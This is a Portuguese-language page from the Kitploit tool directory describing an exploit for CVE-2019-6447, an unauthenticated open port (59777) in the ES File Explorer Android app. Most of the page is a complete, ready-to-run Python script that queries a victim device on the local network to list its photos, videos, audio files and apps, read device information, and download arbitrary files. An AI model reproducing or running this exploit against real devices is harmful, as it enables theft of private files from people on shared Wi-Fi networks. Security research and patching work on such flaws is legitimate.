Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
EsFileExplorer-CVE-2019-6447 — Explorando Vulnerabilidade do Android no ES File Explorer | Kitploit
Ferramentas/GitHubGitHub/chethine/esfileexplorer-cve-2019-6447
Segurança AndroidAnálise de VulnerabilidadesExploraçãoExfiltração de DadosColeta de InformaçõesSegurança Móvel
GitHubchethine/esfileexplorer-cve-2019-6447

EsFileExplorer-CVE-2019-6447

Explorando Vulnerabilidade do Android no ES File Explorer

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
31há 4 anosAinda não revisado

EsFileExplorer-CVE-2019-6447

Explorando Vulnerabilidade Android no ES File Explorer

Vulnerabilidade

O ES file explorer foi criado pela ES worldwide, que faz parte da DO Global e tem sede na China. Este ES file explorer está disponível apenas para uso em dispositivos móveis que executam o sistema operacional Android. No momento, o ES File Explorer foi baixado mais de 100 milhões de vezes. Este aplicativo é o famoso explorador de arquivos do Android, por isso recebe muita atenção. Por outro lado, em 2019, pesquisadores especializados em segurança cibernética descobriram uma vulnerabilidade na versão 4.1.9.7.4 do ES File Explorer. Atacantes que conseguem explorar essa vulnerabilidade estão em posição de coletar todos os dados sensíveis do usuário salvos no ES file explorer. Isso inclui fotografias, vídeos, gravações de voz, documentos e outros tipos de dados.

Descrição da Vulnerabilidade

Até a versão 4.1.9.7.4, o aplicativo ES File Explorer File Manager para Android permite que atacantes remotos leiam arquivos arbitrários ou executem aplicativos em uma rede Wi-Fi local fazendo consultas à porta TCP 59777. Após o aplicativo ES ser iniciado apenas uma vez, esta porta TCP permanecerá aberta e responderá a dados não autenticados do tipo application/json enviados via HTTP.

Versão Afetada

Versão 4.1.9.7.4

Toda vez que um usuário inicia o aplicativo, um servidor HTTP é iniciado. Este servidor abre localmente a porta 59777:
root@kitploit:~
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

Prova de Conceito (POC) - Funcionalidades

  • Listar todos os arquivos no sdcard do dispositivo da vítima
  • Listar todas as imagens no dispositivo da vítima
  • Listar todos os vídeos no dispositivo da vítima
  • Listar todos os arquivos de áudio no dispositivo da vítima
  • Listar todos os aplicativos instalados no dispositivo da vítima
  • Listar todos os aplicativos do sistema instalados no dispositivo da vítima
  • Listar todos os aplicativos de telefone instalados no dispositivo da vítima
  • Listar todos os arquivos apk armazenados no sdcard do dispositivo da vítima
  • Listar todos os aplicativos instalados no dispositivo da vítima
  • Obter informações do dispositivo da vítima
  • Baixar um arquivo do dispositivo da vítima
  • Iniciar um aplicativo de sua escolha
  • Obter o ícone de um aplicativo de sua escolha

Payload

root@kitploit:~
import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
    data = json.dumps({"command":cmd})
    response = requests.post(url, headers=header, data=data)
    return ast.literal_eval(response.text)

def parse(text, keys):
    for dic in text:
        for key in keys:
            print(f"{key} : {dic[key]}")
        print('')

def do_listing(cmd):
    response = httpPost(cmd)
    if len(response) == 0:
        keys = []
    else:
        keys = list(response[0].keys())
    parse(response, keys)

if cmd in listCmds:
    do_listing(cmd)

elif cmd == cmds[9]:
    if len(sys.argv) != 4:
        print("[+] Include file name to download.")
        sys.exit(1)
    elif sys.argv[3][0] != '/':
        print("[-] You need to provide full path of the file.")
        sys.exit(1)
    else:
        path = sys.argv[3]
        print("[+] Downloading file...")
        response = requests.get(url + path)
        with open('out.dat','wb') as wf:
            wf.write(response.content)
        print("[+] Done. Saved as `out.dat`.")

elif cmd == cmds[10]:
    response = httpPost(cmd)
    keys = list(response.keys())
    for key in keys:
        print(f"{key} : {response[key]}")

Demonstração

Demo

Contate-me

Siga-me no Twitter!
Conecte-se comigo no LinkedIn!
Baixar ferramenta